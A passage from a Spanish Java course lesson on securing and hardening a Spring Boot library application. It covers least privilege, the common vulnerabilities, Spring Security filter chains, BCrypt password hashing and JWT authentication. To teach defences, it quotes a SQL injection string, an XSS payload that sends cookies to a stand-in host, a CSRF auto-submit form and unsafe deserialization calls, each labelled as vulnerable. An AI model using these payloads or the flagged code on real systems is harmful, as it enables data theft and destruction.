BiblioTech está en producción. Y tiene dos agujeros del tamaño de un proyecto entero.
El primero: cualquiera puede hacer cualquier cosa. No hay autenticación, no hay autorización, las contraseñas no existen como concepto, la API está abierta a quien la encuentre y nadie ha comprobado si es vulnerable a las cosas que hacen que las aplicaciones acaben en las noticias.
El segundo: cuando algo falle, te enterarás por una llamada de teléfono. No hay métricas, no hay trazas, no hay alertas. Lo único que existe es texto en la salida estándar de un contenedor que se destruye en el siguiente despliegue.
Esta lección cierra los dos, y cierra el curso.
Se organiza en cuatro partes. Seguridad: qué ataca a una aplicación Java y cómo se defiende BiblioTech de cada cosa, con Spring Security aplicado de verdad. Observabilidad: los tres pilares, y cómo saber qué está pasando dentro de un sistema al que no puedes conectar un depurador. Evolución: cómo hacer que un sistema sobreviva a los años, a los cambios de API, a las actualizaciones y al crecimiento. Y el cierre del curso: el viaje completo de BiblioTech módulo a módulo, lo que sabes hacer ahora, lo que este curso no cubre, y por dónde seguir.
Contenido
- Mínimo privilegio y defensa en profundidad
- Las vulnerabilidades más comunes en una aplicación Java
- Dependencias vulnerables y SBOM
- Spring Security: la cadena de filtros
- Autenticación frente a autorización
SecurityFilterChain: la configuración moderna- Contraseñas: BCrypt y lo que nunca se hace
- Autorización con
@PreAuthorize - JWT para la API REST
- HTTPS, cabeceras de seguridad y límites
- Validación de toda entrada externa
- Advertencia sobre seguridad real
- Observabilidad: los tres pilares
- Actuator y Micrometer
- Métricas de negocio
- Prometheus y Grafana
- Las cuatro señales de oro
- Trazas distribuidas
- Registros en producción
- Alertas útiles frente a ruido
- El cuadro de mando de BiblioTech
- Versionado de la API y depreciación
- Deuda técnica y actualizaciones
- Documentación que sobrevive
- Cómo hacer crecer BiblioTech
- Cuándo NO trocear en microservicios
- Errores Comunes y Consejos
- Ejercicios
- Cierre del curso
Parte I: Seguridad
- Mínimo privilegio y defensa en profundidad
Dos principios sostienen todo lo demás.
Mínimo privilegio: cada componente debe tener exactamente los permisos que necesita, y ni uno más.
| Componente | Privilegio incorrecto | Privilegio mínimo |
|---|---|---|
| Usuario de base de datos | postgres (superusuario) |
SELECT/INSERT/UPDATE/DELETE sobre el esquema de la aplicación |
| Usuario del contenedor | root |
UID 1001, sin capacidades |
| Token de la API de metadatos | Lectura y escritura | Solo lectura |
| Empleado en BiblioTech | Administrador | EMPLEADO, y BIBLIOTECARIO solo quien lo necesita |
| Token de CI | Acceso total al repositorio | contents: read, packages: write |
-- El usuario de la aplicación NO debe poder borrar tablas
CREATE USER bibliotech_app WITH PASSWORD :'clave';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sin CREATE, sin DROP, sin ALTER: el esquema lo gobierna Flyway con OTRO usuario
CREATE USER bibliotech_migraciones WITH PASSWORD :'clave_migraciones';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migraciones;Que las migraciones usen un usuario distinto del de la aplicación tiene una consecuencia concreta: una inyección SQL en la aplicación no puede borrar tablas, porque el usuario que la ejecuta no tiene permiso para ello.
Defensa en profundidad: varias capas independientes, de modo que fallar una no comprometa el sistema.
flowchart TD
A["Atacante"] --> C1["1. WAF / limitación de tasa"]
C1 --> C2["2. TLS y cabeceras de seguridad"]
C2 --> C3["3. Autenticación (JWT)"]
C3 --> C4["4. Autorización (roles y @PreAuthorize)"]
C4 --> C5["5. Validación de entrada"]
C5 --> C6["6. Consultas parametrizadas"]
C6 --> C7["7. Permisos mínimos en la base de datos"]
C7 --> D[("Datos")]
Siete capas. Un atacante que supere la validación de entrada todavía se encuentra con consultas parametrizadas; si superara eso, con un usuario de base de datos que no puede borrar nada. Ninguna capa es suficiente por sí sola, y esa es exactamente la idea.
- Las vulnerabilidades más comunes en una aplicación Java
| # | Vulnerabilidad | Qué permite | Prevención en BiblioTech |
|---|---|---|---|
| 1 | Inyección SQL | Leer, modificar o borrar toda la base de datos | JPA con parámetros; nunca concatenar (11-03) |
| 2 | XSS | Ejecutar JavaScript en el navegador de otro usuario | Escapado automático de Thymeleaf; CSP |
| 3 | CSRF | Ejecutar acciones en nombre del usuario | Token CSRF en formularios; irrelevante con JWT en cabecera |
| 4 | Control de acceso roto | Ver o modificar datos de otros | @PreAuthorize + comprobación de propiedad |
| 5 | Deserialización insegura | Ejecución remota de código | Nunca deserializar datos externos; sin tipado dinámico (07-05, 11-07) |
| 6 | Exposición de datos sensibles | Filtrar contraseñas, tokens, datos personales | DTOs; sin trazas al cliente; filtros en el log (06-07) |
| 7 | Dependencias vulnerables | Lo que permita el CVE | Análisis automático, actualizaciones, SBOM (11-01) |
| 8 | Configuración insegura | Endpoints de administración abiertos, credenciales por defecto | Actuator restringido; sin valores por defecto en producción |
| 9 | Fallos criptográficos | Contraseñas descifradas, tráfico interceptado | BCrypt; TLS obligatorio |
| 10 | Falta de registro y monitorización | Un ataque pasa inadvertido durante meses | Auditoría y alertas (parte II) |
1. Inyección SQL. El ataque clásico y todavía el más rentable:
// VULNERABLE. Con texto = "'; DELETE FROM prestamo; --" la consulta se convierte en dos.
String jpql = "select m from Material m where m.titulo like '%" + texto + "%'";
em.createQuery(jpql, Material.class).getResultList();// SEGURO: el parámetro NUNCA se interpreta como SQL. Es un valor, no código.
em.createQuery("select m from Material m where lower(m.titulo) like lower(:texto)", Material.class)
.setParameter("texto", "%" + texto + "%")
.getResultList();Por qué funciona: el motor recibe la consulta y los parámetros por canales separados. La consulta se compila antes de conocer los valores, así que un valor no puede cambiar su estructura. Spring Data hace esto por defecto, y CriteriaBuilder (12-04) también.
El punto donde sigue siendo posible equivocarse, y merece vigilancia especial:
// PELIGRO: la ordenación NO se puede parametrizar
@Query(value = "select * from material order by " + "#{#orden}", nativeQuery = true) // MAL// SEGURO: lista blanca. Nunca texto del usuario en la estructura de la consulta.
private static final Set<String> ORDENES_PERMITIDOS = Set.of("titulo", "autor", "anio_publicacion");
public List<Material> ordenadosPor(String campo) {
if (!ORDENES_PERMITIDOS.contains(campo)) {
throw new ParametroInvalidoException("Orden no permitido: " + campo);
}
return em.createQuery("select m from Material m order by m." + campo, Material.class)
.getResultList();
}2. XSS (Cross-Site Scripting). Ocurre al servir HTML con datos que un usuario introdujo:
<!-- VULNERABLE: si el título es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titulo}"></td><!-- SEGURO: th:text ESCAPA el HTML. Es el valor por defecto de Thymeleaf. -->
<td th:text="${material.titulo}"></td>th:utext (unescaped) existe para casos legítimos y es exactamente el que abre la puerta. La regla es: th:utext solo con contenido que hayas generado tú, nunca con datos de usuario.
Para una API REST que devuelve JSON el riesgo es menor —Jackson escapa correctamente—, pero la defensa adicional es la Content Security Policy (sección 10).
3. CSRF (Cross-Site Request Forgery). Una página maliciosa que el usuario visita mientras tiene sesión abierta en BiblioTech:
<!-- En sitio-malicioso.com -->
<form action="https://bibliotech.nexussoftware.com/api/materiales/978-0000000001" method="POST">
<input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>Si la autenticación va por cookie de sesión, el navegador la envía automáticamente y la petición se ejecuta. Protecciones:
| Autenticación | ¿Vulnerable a CSRF? | Protección |
|---|---|---|
| Cookie de sesión | Sí | Token CSRF + SameSite=Strict |
JWT en cabecera Authorization |
No | El navegador no la envía solo |
| JWT en cookie | Sí | Token CSRF igualmente |
Por eso Spring Security desactiva CSRF en APIs sin estado con JWT en cabecera: no es dejadez, es que el vector de ataque no existe.
4. Control de acceso roto. El más frecuente y el más subestimado:
// VULNERABLE: cualquier empleado autenticado ve los préstamos de cualquier otro
@GetMapping("/api/empleados/{id}/prestamos")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) {
return gestor.prestamosDe(id).stream().map(PrestamoResponse::desde).toList();
}// SEGURO: o eres tú, o eres bibliotecario
@GetMapping("/api/empleados/{id}/prestamos")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARIO')")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) { … }El nombre técnico de esta vulnerabilidad es IDOR (referencia directa insegura a objetos), y la regla que la evita es simple de enunciar y fácil de olvidar: no basta con saber quién eres; hay que comprobar que ese recurso es tuyo.
5. Deserialización insegura. Retoma 07-05 y 11-07, y merece un aviso destacado porque no es un fallo de confidencialidad: es ejecución remota de código.
// EXTREMADAMENTE PELIGROSO: nunca con datos que no controlas.
ObjectInputStream ois = new ObjectInputStream(entradaDelUsuario);
Object objeto = ois.readObject(); // esto puede ejecutar código arbitrarioUn atacante construye un grafo de objetos que, al deserializarse, encadena llamadas de librerías presentes en el classpath (gadget chains) hasta llegar a Runtime.exec(). No hace falta que la clase atacada sea tuya.
// Y en Jackson, el equivalente:
mapper.enableDefaultTyping(); // NUNCA con datos externos
mapper.activateDefaultTyping(validador, …); // solo con lista blanca estrictaReglas: no uses serialización Java para datos externos; usa JSON con clases concretas; si necesitas polimorfismo, @JsonTypeInfo con @JsonSubTypes explícitos reforzados por sealed; y si heredas código que deserializa, aplica un ObjectInputFilter (Java 9+).
6. Exposición de datos sensibles. Tres vectores, los tres presentes en BiblioTech antes de esta lección:
// (a) En la respuesta: entidad expuesta con el hash de la contraseña
@GetMapping("/api/empleados/{id}")
public Empleado porId(@PathVariable Long id) { … } // MAL: DTO, siempre (12-01)
// (b) En el log: datos personales y credenciales
log.info("Autenticando a {} con contraseña {}", correo, contrasena); // MAL, y muy común
log.debug("Petición recibida: {}", peticion); // ¿qué lleva dentro?
// (c) En el error: traza que revela versiones y estructura interna
server.error.include-stacktrace: always // MAL (12-04)La defensa en el log, con un filtro que enmascara:
public class EnmascaradorDatosSensibles extends ClassicConverter {
private static final List<Pattern> PATRONES = List.of(
Pattern.compile("(\"(?:password|contrasena|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
Pattern.CASE_INSENSITIVE),
Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\b(\\d{8})([A-Za-z])\\b") // DNI
);
@Override
public String convert(ILoggingEvent evento) {
String mensaje = evento.getFormattedMessage();
for (Pattern p : PATRONES) {
mensaje = p.matcher(mensaje).replaceAll("$1***$3");
}
return mensaje;
}
}
- Dependencias vulnerables y SBOM
Retoma 11-01 y Log4Shell. Tu código puede ser impecable y aun así ser vulnerable, porque el 90 % de lo que se ejecuta en producción lo escribió otra persona.
Análisis automático:
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>10.0.4</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS> <!-- CVSS 7+ = alta o crítica -->
<suppressionFiles>
<suppressionFile>config/supresiones-cve.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution><goals><goal>check</goal></goals></execution>
</executions>
</plugin>Dependabot, que abre PRs automáticamente:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: maven
directory: "/"
schedule: { interval: weekly, day: monday }
open-pull-requests-limit: 10
groups:
spring:
patterns: ["org.springframework*"] # agrupar: menos ruido
pruebas:
patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
ignore:
- dependency-name: "*"
update-types: ["version-update:semver-major"] # las mayores, a manoSBOM (Software Bill of Materials): el inventario completo de todo lo que contiene el artefacto. Cuando aparezca el próximo Log4Shell, la pregunta «¿estamos afectados?» se responde con una consulta al SBOM en lugar de con dos días de arqueología.
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.8.1</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>makeAggregateBom</goal></goals>
</execution>
</executions>
</plugin>./mvnw package # genera target/bom.json y target/bom.xml
grep -i "log4j" target/bom.json # respuesta en un segundo
- Spring Security: la cadena de filtros
Spring Security es, esencialmente, una cadena de filtros de servlet que se ejecuta antes de que la petición llegue al DispatcherServlet (12-04). Es el patrón Cadena de responsabilidad de 12-02 en su forma más pura.
flowchart TD
P["Petición HTTP"] --> F1["SecurityContextPersistenceFilter<br/>recupera el contexto"]
F1 --> F2["CorsFilter"]
F2 --> F3["CsrfFilter"]
F3 --> F4["FiltroJwt (nuestro)<br/>valida el token y autentica"]
F4 --> F5["AnonymousAuthenticationFilter"]
F5 --> F6["ExceptionTranslationFilter<br/>convierte excepciones en 401/403"]
F6 --> F7["AuthorizationFilter<br/>¿tiene permiso?"]
F7 --> D["DispatcherServlet"]
D --> C["Controlador"]
F7 -.->|"sin permiso"| E["403 Forbidden"]
F4 -.->|"token inválido"| E401["401 Unauthorized"]
style F4 fill:#e3f2fd,stroke:#1565c0
Cada filtro hace una cosa y pasa el control al siguiente. La consecuencia práctica: añadir autenticación propia es insertar un filtro en el punto correcto, no reescribir nada.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>Con solo esa dependencia, toda la aplicación queda protegida con autenticación básica y una contraseña generada que aparece en el log. Es un valor por defecto deliberadamente seguro: si no configuras nada, no queda abierto.
- Autenticación frente a autorización
| Autenticación | Autorización | |
|---|---|---|
| Pregunta | ¿Quién eres? | ¿Qué puedes hacer? |
| Cuándo | Una vez, al entrar | En cada operación |
| Fallo | 401 Unauthorized | 403 Forbidden |
| En BiblioTech | Correo y contraseña → JWT | Roles y comprobación de propiedad |
Los conceptos de Spring Security:
| Concepto | Qué es | En BiblioTech |
|---|---|---|
Authentication |
Quién está autenticado y con qué permisos | El empleado y sus roles |
Principal |
La identidad | UsuarioBiblioTech (nuestro UserDetails) |
GrantedAuthority |
Un permiso | ROLE_EMPLEADO, ROLE_BIBLIOTECARIO |
SecurityContext |
Contenedor de la autenticación actual | En un ThreadLocal |
UserDetailsService |
Carga el usuario por su identificador | Consulta la tabla empleado |
PasswordEncoder |
Codifica y verifica contraseñas | BCrypt |
Roles de BiblioTech:
| Rol | Puede |
|---|---|
EMPLEADO |
Ver el catálogo, crear sus préstamos y reservas, ver sus multas |
BIBLIOTECARIO |
Todo lo anterior + gestionar el catálogo, ver los préstamos de todos, condonar multas |
ADMIN |
Todo lo anterior + gestionar empleados, ver endpoints de administración |
SecurityFilterChain: la configuración moderna
SecurityFilterChain: la configuración modernaLa forma antigua (WebSecurityConfigurerAdapter) está eliminada desde Spring Security 6. La actual es declarativa, con beans y lambdas:
@Configuration
@EnableWebSecurity
@EnableMethodSecurity // habilita @PreAuthorize
public class ConfiguracionSeguridad {
private final FiltroAutenticacionJwt filtroJwt;
private final ManejadorErroresSeguridad manejadorErrores;
@Bean
SecurityFilterChain cadenaFiltros(HttpSecurity http) throws Exception {
return http
// API sin estado: no hay sesión de servidor, luego no hay CSRF por cookie
.csrf(AbstractHttpConfigurer::disable)
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.cors(cors -> cors.configurationSource(fuenteCors()))
.authorizeHttpRequests(rutas -> rutas
// --- Público ---
.requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
.requestMatchers("/actuator/health/**").permitAll()
// --- Solo lectura del catálogo: cualquier empleado autenticado ---
.requestMatchers(HttpMethod.GET, "/api/materiales/**").hasAnyRole("EMPLEADO", "BIBLIOTECARIO", "ADMIN")
// --- Gestión del catálogo: bibliotecarios ---
.requestMatchers(HttpMethod.POST, "/api/materiales/**").hasRole("BIBLIOTECARIO")
.requestMatchers(HttpMethod.PUT, "/api/materiales/**").hasRole("BIBLIOTECARIO")
.requestMatchers(HttpMethod.PATCH, "/api/materiales/**").hasRole("BIBLIOTECARIO")
.requestMatchers(HttpMethod.DELETE, "/api/materiales/**").hasRole("BIBLIOTECARIO")
// --- Administración ---
.requestMatchers("/api/empleados/**").hasRole("ADMIN")
.requestMatchers("/actuator/**").hasRole("ADMIN")
// --- Documentación: solo fuera de producción (ver perfil) ---
.requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")
// --- Regla final: TODO lo demás requiere autenticación ---
// denyAll implícito por defecto: lo que no se declara, no pasa
.anyRequest().authenticated())
.exceptionHandling(e -> e
.authenticationEntryPoint(manejadorErrores) // 401 en formato Problem Details
.accessDeniedHandler(manejadorErrores)) // 403 ídem
// Nuestro filtro ANTES del de usuario y contraseña
.addFilterBefore(filtroJwt, UsernamePasswordAuthenticationFilter.class)
.headers(h -> h
.frameOptions(FrameOptionsConfig::deny)
.contentSecurityPolicy(csp -> csp.policyDirectives(
"default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
.httpStrictTransportSecurity(hsts -> hsts
.includeSubDomains(true)
.maxAgeInSeconds(31_536_000)))
.build();
}
@Bean
PasswordEncoder codificadorContrasenas() {
// Fuerza 12: ~250 ms por verificación en hardware de 2026.
// Suficientemente lento para un atacante, tolerable para un usuario.
return new BCryptPasswordEncoder(12);
}
@Bean
AuthenticationManager gestorAutenticacion(AuthenticationConfiguration config) throws Exception {
return config.getAuthenticationManager();
}
}Dos detalles que marcan la diferencia:
- El orden de las reglas importa. Se evalúan de arriba abajo y gana la primera que encaja. Poner
.anyRequest().authenticated()al principio anularía todo lo demás. .anyRequest().authenticated()al final es la red de seguridad: un endpoint nuevo queda protegido por defecto. Sin esa línea, cualquier ruta no contemplada quedaría abierta.
- Contraseñas: BCrypt y lo que nunca se hace
Regla absoluta: las contraseñas NUNCA se guardan de forma que se puedan recuperar. Ni en claro, ni cifradas de forma reversible, ni con MD5, ni con SHA-1, ni con SHA-256 a secas. Se guarda un hash lento con sal, y el sistema nunca conoce la contraseña original.
Por qué no valen los hashes rápidos:
| Algoritmo | Hashes por segundo (GPU, 2026) | Tiempo para 8 caracteres alfanuméricos |
|---|---|---|
| MD5 | ~200.000 millones | segundos |
| SHA-1 | ~80.000 millones | segundos |
| SHA-256 | ~20.000 millones | minutos |
| BCrypt (fuerza 12) | ~4.000 | siglos |
SHA-256 es un algoritmo excelente… para lo que está diseñado, que es integridad de datos. Para contraseñas, su virtud —la velocidad— es exactamente el defecto. BCrypt está diseñado para ser deliberadamente lento y para que su lentitud sea ajustable a medida que el hardware mejora.
@Service
public class ServicioAutenticacion {
private final RepositorioEmpleados empleados;
private final PasswordEncoder codificador;
/** Registro: la contraseña se codifica y la original se descarta de inmediato. */
@Transactional
public Empleado registrar(String nombre, String correo, char[] contrasena) {
validarFortaleza(contrasena);
try {
String hash = codificador.encode(new String(contrasena));
return empleados.guardar(Empleado.nuevo(nombre, correo, hash));
} finally {
Arrays.fill(contrasena, '\0'); // sobrescribir en memoria (12-03)
}
}
public Optional<Empleado> autenticar(String correo, String contrasena) {
Optional<Empleado> empleado = empleados.buscarPorCorreo(correo);
if (empleado.isEmpty()) {
// Comparar contra un hash ficticio para que el tiempo de respuesta
// sea el mismo exista o no el usuario. Sin esto, un atacante puede
// ENUMERAR usuarios midiendo la latencia.
codificador.matches(contrasena, HASH_FICTICIO);
return Optional.empty();
}
if (!codificador.matches(contrasena, empleado.get().getHashContrasena())) {
return Optional.empty();
}
return empleado;
}
}Un hash de BCrypt tiene esta forma, y contiene todo lo necesario para verificarlo:
$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy │ │ └────────────────────┬──────────────────────────────┘ │ │ └─ sal (22) + hash (31), en base64 │ └───────────────────────── coste: 2^12 = 4.096 iteraciones └───────────────────────────── versión del algoritmo
La sal es distinta para cada contraseña, lo que hace inútiles las tablas precalculadas y significa que dos usuarios con la misma contraseña tienen hashes diferentes.
Validación de fortaleza, con criterio moderno (NIST SP 800-63B):
private void validarFortaleza(char[] contrasena) {
// La longitud importa MÁS que la complejidad: "caballo batería grapa correcta"
// es más fuerte que "P@ssw0rd" y mucho más fácil de recordar.
if (contrasena.length < 12) {
throw new ContrasenaDebilException("Mínimo 12 caracteres");
}
if (contrasena.length > 128) {
throw new ContrasenaDebilException("Máximo 128 caracteres"); // evitar DoS con BCrypt
}
if (esComun(new String(contrasena))) {
throw new ContrasenaDebilException("Esta contraseña aparece en filtraciones conocidas");
}
}Alternativas a BCrypt, en orden de preferencia actual: Argon2id (ganador del Password Hashing Competition, resistente a ataques con GPU y ASIC), scrypt y BCrypt. Los tres son aceptables; BCrypt es el más disponible y probado en el ecosistema Java.
- Autorización con
@PreAuthorize
@PreAuthorizeLa configuración por URL es un primer filtro; la autorización fina va en los servicios, porque el mismo caso de uso lo invocan la API, la CLI y las tareas programadas.
@Service
public class GestorPrestamos implements GestionarPrestamos {
@Override
@Transactional
@PreAuthorize("hasRole('EMPLEADO')")
public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) { … }
/** O es tu propio préstamo, o eres bibliotecario. */
@Override
@Transactional
@PreAuthorize("@propiedad.esSuPrestamo(#idPrestamo) or hasRole('BIBLIOTECARIO')")
public ResultadoDevolucion devolver(Long idPrestamo, LocalDate fecha) { … }
/** Condonar una multa es una decisión con impacto económico. */
@Override
@Transactional
@PreAuthorize("hasRole('BIBLIOTECARIO')")
@Auditado(accion = "CONDONAR_MULTA")
public void condonarMulta(Long idPrestamo, String motivo) { … }
/** Filtrar el resultado: cada uno ve lo suyo. */
@Override
@PostFilter("filterObject.idEmpleado == authentication.principal.id or hasRole('BIBLIOTECARIO')")
public List<Prestamo> todosLosActivos() { … }
}El bean de comprobación de propiedad, que es el que cierra el agujero de IDOR:
@Component("propiedad")
public class ComprobadorPropiedad {
private final RepositorioPrestamos prestamos;
public boolean esSuPrestamo(Long idPrestamo) {
Long idUsuario = usuarioActual().getId();
return prestamos.buscarPorId(idPrestamo)
.map(p -> p.getIdEmpleado().equals(idUsuario))
.orElse(false);
}
private UsuarioBiblioTech usuarioActual() {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth == null || !(auth.getPrincipal() instanceof UsuarioBiblioTech usuario)) {
throw new AccessDeniedException("Sin usuario autenticado");
}
return usuario;
}
}Y una advertencia técnica que conecta con 12-02: @PreAuthorize funciona por proxy, exactamente igual que @Transactional. Por tanto, no se aplica en autoinvocaciones (this.metodo()) ni en métodos privados o final. Es el mismo mecanismo y las mismas limitaciones.
Auditoría de las acciones sensibles, con un aspecto (11-02):
@Aspect
@Component
public class AspectoAuditoria {
private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");
@AfterReturning("@annotation(auditado)")
public void registrar(JoinPoint punto, Auditado auditado) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
auditoria.info("accion={} usuario={} argumentos={} traceId={}",
auditado.accion(),
auth != null ? auth.getName() : "anonimo",
Arrays.toString(punto.getArgs()),
MDC.get("traceId"));
}
}El registro de auditoría es distinto del registro de aplicación: se conserva más tiempo, no se puede desactivar, y es lo que responde a «¿quién condonó esta multa de 200 €?».
- JWT para la API REST
Un JWT (JSON Web Token) es una cadena firmada que contiene afirmaciones sobre el usuario. Su ventaja: el servidor no guarda estado de sesión, lo que permite el escalado horizontal de 12-06.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn └──────── cabecera ────────┘ └──────── carga útil ────────┘ └──── firma ────┘
// Cabecera // Carga útil
{ "alg": "HS256", "typ": "JWT" } { "sub": "1",
"correo": "[email protected]",
"roles": ["EMPLEADO", "BIBLIOTECARIO"],
"iat": 1785000000,
"exp": 1785003600 }Aviso fundamental: la carga útil NO está cifrada, solo firmada. Cualquiera puede decodificarla en base64 y leerla. La firma garantiza que no ha sido modificada, no que sea secreta. Nunca pongas en un JWT nada que no quieras que se lea.
El flujo completo:
sequenceDiagram
autonumber
participant C as Cliente
participant A as AuthController
participant S as ServicioAutenticacion
participant J as ServicioJwt
participant F as FiltroJwt
participant R as PrestamoController
C->>A: POST /api/auth/login {correo, contrasena}
A->>S: autenticar(correo, contrasena)
S->>S: BCrypt.matches(contrasena, hash)
S-->>A: Empleado
A->>J: generarAcceso(empleado) y generarRefresco(empleado)
J-->>A: token de acceso (15 min) + token de refresco (7 dias)
A-->>C: 200 {tokenAcceso, tokenRefresco, expiraEn}
Note over C: guarda los tokens
C->>F: GET /api/prestamos + Authorization Bearer token
F->>J: validar(token)
J-->>F: afirmaciones (sub, roles)
F->>F: SecurityContext con la autenticacion
F->>R: continua la cadena
R-->>C: 200 con los prestamos
Note over C,F: cuando el token de acceso caduca
C->>A: POST /api/auth/refrescar {tokenRefresco}
A->>J: validar y comprobar que no esta revocado
A-->>C: 200 con un token de acceso nuevo
@Service
public class ServicioJwt {
private final SecretKey clave;
private final Duration vigenciaAcceso;
private final Duration vigenciaRefresco;
private final Clock reloj; // 10-05: inyectable, para poder probarlo
public ServicioJwt(PropiedadesJwt props, Clock reloj) {
// La clave viene de una variable de entorno y debe tener al menos 256 bits.
// Si es corta o está en el código, la firma es falsificable.
byte[] bytes = Decoders.BASE64.decode(props.secreto());
if (bytes.length < 32) {
throw new IllegalStateException("La clave JWT debe tener al menos 256 bits");
}
this.clave = Keys.hmacShaKeyFor(bytes);
this.vigenciaAcceso = props.vigenciaAcceso();
this.vigenciaRefresco = props.vigenciaRefresco();
this.reloj = reloj;
}
public String generarAcceso(UsuarioBiblioTech usuario) {
Instant ahora = Instant.now(reloj);
return Jwts.builder()
.subject(String.valueOf(usuario.getId()))
.claim("correo", usuario.getUsername())
.claim("roles", usuario.getAuthorities().stream()
.map(GrantedAuthority::getAuthority).toList())
.issuer("bibliotech.nexussoftware.com")
.issuedAt(Date.from(ahora))
.expiration(Date.from(ahora.plus(vigenciaAcceso)))
.id(UUID.randomUUID().toString()) // jti: permite revocar este token concreto
.signWith(clave, Jwts.SIG.HS256)
.compact();
}
public Claims validar(String token) {
try {
return Jwts.parser()
.verifyWith(clave)
.requireIssuer("bibliotech.nexussoftware.com")
.clockSkewSeconds(30) // tolerancia de reloj entre servidores
.build()
.parseSignedClaims(token)
.getPayload();
} catch (ExpiredJwtException e) {
throw new TokenCaducadoException(e); // el cliente debe refrescar
} catch (JwtException | IllegalArgumentException e) {
throw new TokenInvalidoException(e); // firma incorrecta o token manipulado
}
}
}@Component
public class FiltroAutenticacionJwt extends OncePerRequestFilter {
private final ServicioJwt jwt;
private final RegistroTokensRevocados revocados;
@Override
protected void doFilterInternal(HttpServletRequest peticion, HttpServletResponse respuesta,
FilterChain cadena) throws ServletException, IOException {
try {
extraerToken(peticion).ifPresent(token -> {
Claims afirmaciones = jwt.validar(token);
if (revocados.estaRevocado(afirmaciones.getId())) {
throw new TokenRevocadoException();
}
var autoridades = ((List<?>) afirmaciones.get("roles")).stream()
.map(String::valueOf)
.map(SimpleGrantedAuthority::new)
.toList();
var autenticacion = new UsernamePasswordAuthenticationToken(
new UsuarioBiblioTech(Long.valueOf(afirmaciones.getSubject()),
afirmaciones.get("correo", String.class), autoridades),
null, autoridades);
SecurityContextHolder.getContext().setAuthentication(autenticacion);
// Correlación: el identificador de usuario en el MDC de 11-07
MDC.put("usuarioId", afirmaciones.getSubject());
});
cadena.doFilter(peticion, respuesta);
} catch (TokenCaducadoException | TokenInvalidoException | TokenRevocadoException e) {
SecurityContextHolder.clearContext();
escribirProblema(respuesta, HttpStatus.UNAUTHORIZED, e.getMessage());
} finally {
MDC.remove("usuarioId"); // regla de 11-07: limpiar SIEMPRE en un pool de hilos
}
}
private Optional<String> extraerToken(HttpServletRequest peticion) {
String cabecera = peticion.getHeader(HttpHeaders.AUTHORIZATION);
return (cabecera != null && cabecera.startsWith("Bearer "))
? Optional.of(cabecera.substring(7))
: Optional.empty();
}
}Los riesgos del JWT, sin adornos:
| Riesgo | Por qué | Mitigación |
|---|---|---|
| No se puede revocar | Es válido hasta que caduca; el servidor no lo consulta | Vigencia corta (15 min) + lista de revocados por jti |
| Carga útil legible | Solo está firmado | Nada sensible dentro |
| Robo del token | Quien lo tenga, es tú | HTTPS obligatorio; vigencia corta |
Ataque alg: none |
Un token sin firma, aceptado por parseadores mal usados | Exigir el algoritmo explícitamente al validar |
| Clave débil | HS256 con una clave corta es fuerza-brutable | Mínimo 256 bits, desde variable de entorno |
| Almacenamiento en el cliente | localStorage es accesible desde XSS |
Cookie HttpOnly + Secure + SameSite |
Dónde guardar el token en el navegador, que es la decisión más discutida:
| Ubicación | XSS | CSRF | Veredicto |
|---|---|---|---|
localStorage |
Vulnerable | Inmune | Cómodo, peor |
sessionStorage |
Vulnerable | Inmune | Igual, pero se pierde al cerrar |
Cookie HttpOnly+Secure+SameSite=Strict |
Inmune | Protegida por SameSite | Preferible |
La razón: una cookie HttpOnly no es accesible desde JavaScript, así que un XSS no puede robarla. Con localStorage, un solo XSS en cualquier página de tu dominio entrega el token completo.
Y el token de refresco, que sí es revocable porque se guarda en la base de datos:
@Entity
public class TokenRefresco {
@Id private String id; // jti
private Long idEmpleado;
private String hashToken; // el token también se guarda con hash
private Instant caducaEn;
private Instant revocadoEn;
private String dispositivo; // para poder mostrar "sesiones activas"
}
- HTTPS, cabeceras de seguridad y límites
HTTPS es obligatorio, sin excepciones. Sin TLS, credenciales y tokens viajan en claro por cualquier red intermedia.
server:
ssl:
enabled: true
key-store: ${TLS_KEYSTORE_PATH}
key-store-password: ${TLS_KEYSTORE_PASSWORD}
key-store-type: PKCS12
protocol: TLS
enabled-protocols: TLSv1.3,TLSv1.2 # TLS 1.0 y 1.1 están obsoletosEn la práctica, lo habitual es terminar TLS en un proxy inverso o balanceador (nginx, Traefik, un Ingress). En ese caso hay que decirle a Spring que confíe en las cabeceras del proxy:
Cabeceras de seguridad, cada una con su ataque asociado:
| Cabecera | Protege de | Valor |
